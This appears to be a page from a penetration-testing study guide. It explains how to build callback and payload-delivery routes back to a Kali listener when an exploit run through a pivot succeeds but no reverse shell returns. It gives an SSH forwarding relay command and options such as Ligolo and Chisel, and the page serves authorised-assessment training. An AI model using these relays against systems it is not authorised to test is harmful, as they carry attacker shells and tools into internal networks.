Build the callback and delivery routes separately from the attack route

Needs: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

A forward path and callback path are different graphs

# A forward path and callback path are different graphs
Kali -> tunnel -> internal service       # access path
internal target -> pivot -> Kali listener # callback path

Fixed SSH callback relay, run from the pivot

make the callback directly to an address the internal host already reaches;

expose a listener on the pivot and relay it to Kali;

use a Ligolo agent listener or SSH/Chisel remote forward;

choose a non-callback technique such as authenticated remote execution.

# Fixed SSH callback relay, run from the pivot
ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
  KALI_USER@LHOST -o ExitOnForwardFailure=yes

Verify → Verify the target-initiated connection from its source context and the final session or downloaded bytes.

If it fails → Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional. More detail ↓

If → then

Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
Needs: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
Needs: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Build the callback and delivery routes separately from the attack route

USE WHEN: A pivoted exploit reaches its target but its shell/download cannot return
STARTING ACCESS: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
RESULT: A verified return or file-delivery path for the selected execution chain

Recognize the clue

After the attack path works, draw a new path for target-initiated callbacks/downloads and inspect the listener actually advertised to that target.

ss -lnt
ip route get TARGET

SYNTHETIC EXAMPLE OUTPUT

Tool -> proxy -> target: works
Advertised LHOST: assessment-only interface
Target -> advertised LHOST: no established route

Means: A working initiating proxy path does not route a target's new connection back to that private interface.

Confirm: Check the target's route, listener bind, chosen reverse forward/agent listener and final handler.

After validation: The target-initiated leg reaches the intended receiver and effect is verified: use the return route.
Ruled out in this context: The target cannot reach the advertised address and no selected forward provides it: reject that callback address/design.
Still inconclusive: No packets without execution proof leaves trigger and route separately unresolved.

Troubleshooting: Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

A forward path and callback path are different graphs:

Options:

make the callback directly to an address the internal host already reaches;
expose a listener on the pivot and relay it to Kali;
use a Ligolo agent listener or SSH/Chisel remote forward;
choose a non-callback technique such as authenticated remote execution.

Fixed SSH callback relay, run from the pivot:

This creates the listener on the SSH client/pivot and makes the destination connection from Kali's SSH server to Kali loopback. -g permits other hosts to use the pivot-side local forward. Verify the actual bind with ss; do not infer it from command syntax.

Also route payload delivery separately. An internal host may reach the pivot but not Kali's HTTP server; relay the delivery service or serve from the pivot when justified.

Why it works

Tool-to-target traffic and target-initiated callbacks can require opposite forwards. A working SOCKS request does not automatically route a target's reverse shell to Kali.

Worked example · hypothetical

Observation: a target is exploitable through SOCKS but no callback arrives. Test: draw the target's actual route to LHOST and expose the documented pivot listener. Illustrative output: traffic reaches the forwarded listener. Interpretation: now verify payload/handler compatibility.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗